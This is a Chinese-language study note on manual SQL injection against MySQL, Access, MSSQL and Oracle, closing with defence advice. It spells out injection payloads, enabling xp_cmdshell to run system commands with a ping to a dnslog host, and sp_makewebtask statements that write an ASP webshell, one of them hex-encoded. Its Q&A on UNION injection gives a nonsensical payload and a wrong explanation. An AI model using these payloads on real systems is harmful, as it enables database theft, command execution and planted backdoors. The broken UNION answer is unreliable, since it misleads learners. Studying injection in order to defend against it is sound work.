No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2

一、研究背景

  1. 背景介绍

    SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。

  2. 研究内容

    本笔记探讨以下数据库的手工注入技术:

    • MySQL
    • Access
    • MSSQL
    • Oracle
      覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
  3. 相关研究

    目前的主要研究集中在SQL注入的检测和防御技术:

    • 参数化查询:避免动态拼接用户输入。
    • 输入验证:严格过滤SQL关键字符。
    • 输出编码:对输出数据进行编码以防止攻击扩散。

二、SQL注入技术详解

1. MySQL注入

  1. 联合查询注入

    • 利用UNION操作符,将多条SELECT语句的结果合并。
    • 步骤
      1. 判断列数 :利用ORDER BY语句逐步增加字段数,观察是否报错。
      2. 构造查询 :如:UNION SELECT 1,2,3--,逐步替换为敏感数据字段。
      3. 获取数据 :在显示字段中插入database()version()等函数查看信息。
  2. 报错注入

    • 方法 :利用MySQL特性,构造错误表达式来暴露数据。
      • 示例:EXTRACTVALUE(1, 'XPath语法错误')UPDATEXML(1, 'XPath错误', 1)
  3. 盲注注入

    • 布尔盲注 :通过页面返回的不同响应判断数据。
      • 示例:AND (SELECT 'a'='a')-- 页面正常;AND (SELECT 'a'='b')-- 页面异常。
    • 时间盲注 :利用SLEEP()函数延迟判断。
      • 示例:IF(条件, SLEEP(5), 0)--
  4. 其他技术

    • UA/Referer注入:通过修改HTTP请求头进行注入。
    • DNSLOG外带:将数据通过DNS请求传出。
    • Cookie注入 :在Cookie参数中嵌入注入语句。
    • 宽字节注入:利用GBK编码将字符解码为SQL语句。
    • 堆叠注入 :通过分号执行多条SQL语句。
  5. Getshell

    • 目标:利用文件读写权限获取Webshell。
    • 方法LOAD_FILE()读取敏感文件,或INTO OUTFILE写入后门文件。

2. Access注入

  1. 基本流程

    • 判断数据库类型、表名、列名及其数据。
    • 通过页面反馈逐步确认。
  2. 逐字破解法

    • 步骤
      1. 猜表名AND EXISTS (SELECT * FROM 表名),逐步尝试常见表名。
      2. 猜列名AND EXISTS (SELECT 列名 FROM 表名),逐步尝试常见列名。
      3. 获取数据AND (SELECT TOP 1 列名 FROM 表名) = 'value'

3. MSSQL注入

  1. 报错注入

    • 方法 :通过错误信息回显数据。
      • 示例:CONVERT(int, 'a')1/0
  2. 盲注注入

    • 利用内置函数逐步判断数据:
      • 示例:IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
  3. 命令执行

    • 启用xp_cmdshell,执行系统命令。
      • 示例:

        sql 复制代码
        EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        EXEC xp_cmdshell 'ping example.com';
  4. 写入Webshell

    • 利用sp_makewebtask创建恶意文件:

      sql 复制代码
      EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';

4. Oracle注入

  1. 报错注入

    • 利用函数dbms_utility.sqlid_to_sqlhash()制造错误:
      • 示例:SELECT dbms_utility.sqlid_to_sqlhash('错误') FROM dual;
  2. 盲注注入

    • 使用字符串截取函数判断:
      • 示例:AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'

三、防御策略

  1. 过滤SQL特殊字符

    • 使用白名单模式验证输入。
    • ', ;, --, /*等特殊字符进行转义。
  2. 参数化查询

    • 利用预编译语句绑定参数,避免直接拼接用户输入:
      • 示例(PHP PDO):

        php 复制代码
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
        $stmt->execute(['username' => $input]);
  3. 使用存储过程

    • 通过封装数据库操作,减少直接操作SQL的风险。
  4. 最小化权限

    • 限制数据库用户权限,仅允许必要的读写操作。

关键问题及回答

问题1:MySQL注入中的联合查询注入是如何实现的?

联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:

  1. 判断列数

    • 构造查询语句,利用ORDER BY子句判断目标表的列数。
    • 示例:
      ORDER BY字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
  2. 构造联合查询

    • 利用UNION SELECT语句构造包含多个列的查询。

    • 示例:

      sql 复制代码
      'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
  3. 执行查询

    • 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。

问题2:在Access注入中,如何利用逐字破解法获取表名和列名?

  1. 查表

    • 构造查询语句,利用EXISTS语句判断表名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT * FROM 表名)
    • 替换表名为常见名称(如adminuser等),直到页面返回正常,确定表名存在。

  2. 查列

    • 确认表名后,利用EXISTS语句判断列名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT 列名 FROM 表名)
    • 替换列名为常见名称(如adminpassword等),直到页面返回正常,确定列名存在。

  3. 获取数据

    • 确认表名和列名后,构造查询语句逐步获取数据。

    • 示例:

      sql 复制代码
      AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
    • 通过替换列名,判断长度或内容获取目标数据。


问题3:MSSQL注入中的命令执行是如何实现的?

  1. 开启xp_cmdshell

    • 利用sp_configure系统存储过程启用命令执行功能。

    • 示例:

      sql 复制代码
      EXEC sp_configure 'show advanced options', 1;  
      RECONFIGURE;  
      EXEC sp_configure 'xp_cmdshell', 1;  
      RECONFIGURE;
  2. 执行系统命令

    • 通过xp_cmdshell执行命令,例如ping命令,验证是否成功执行。

    • 示例:

      sql 复制代码
      EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
  3. 写入一句话木马

    • 利用sp_makewebtask或存储过程向目标写入ASP/ASPX木马文件。

    • 示例:

      sql 复制代码
      DECLARE @s NVARCHAR(4000);
      SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700;
      EXEC sp_makewebtask 'C:\webshell.asp', @s;

通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。


四、总结与反思

  1. 总结

    • 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
    • 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
  2. 反思

    • 防御措施需要多层次部署,单一防护手段难以完全防范。
    • 检测和防御技术需要结合AI和自动化工具进一步提升效率。
  3. 建议

    • 开发过程中严格执行输入验证和参数化查询。
    • 定期进行安全测试和漏洞扫描。
相关推荐
不爱学英文的码字机器2 小时前
零信任架构:重塑网络安全的IT新范式
安全·web安全·架构
艺杯羹3 小时前
JDBC之ORM思想及SQL注入
数据库·sql·jdbc·orm·sql注入
刘婉晴5 小时前
【信息安全工程师备考笔记】第三章 密码学基本理论
笔记·安全·密码学
晓数8 小时前
【硬核干货】JetBrains AI Assistant 干货笔记
人工智能·笔记·jetbrains·ai assistant
我的golang之路果然有问题8 小时前
速成GO访问sql,个人笔记
经验分享·笔记·后端·sql·golang·go·database
lwewan8 小时前
26考研——存储系统(3)
c语言·笔记·考研
星哥说事8 小时前
使用开源免费雷池WAF防火墙,接入保护你的网站
web安全·开源
浩浩测试一下8 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
搞机小能手8 小时前
六个能够白嫖学习资料的网站
笔记·学习·分类
nongcunqq9 小时前
爬虫练习 js 逆向
笔记·爬虫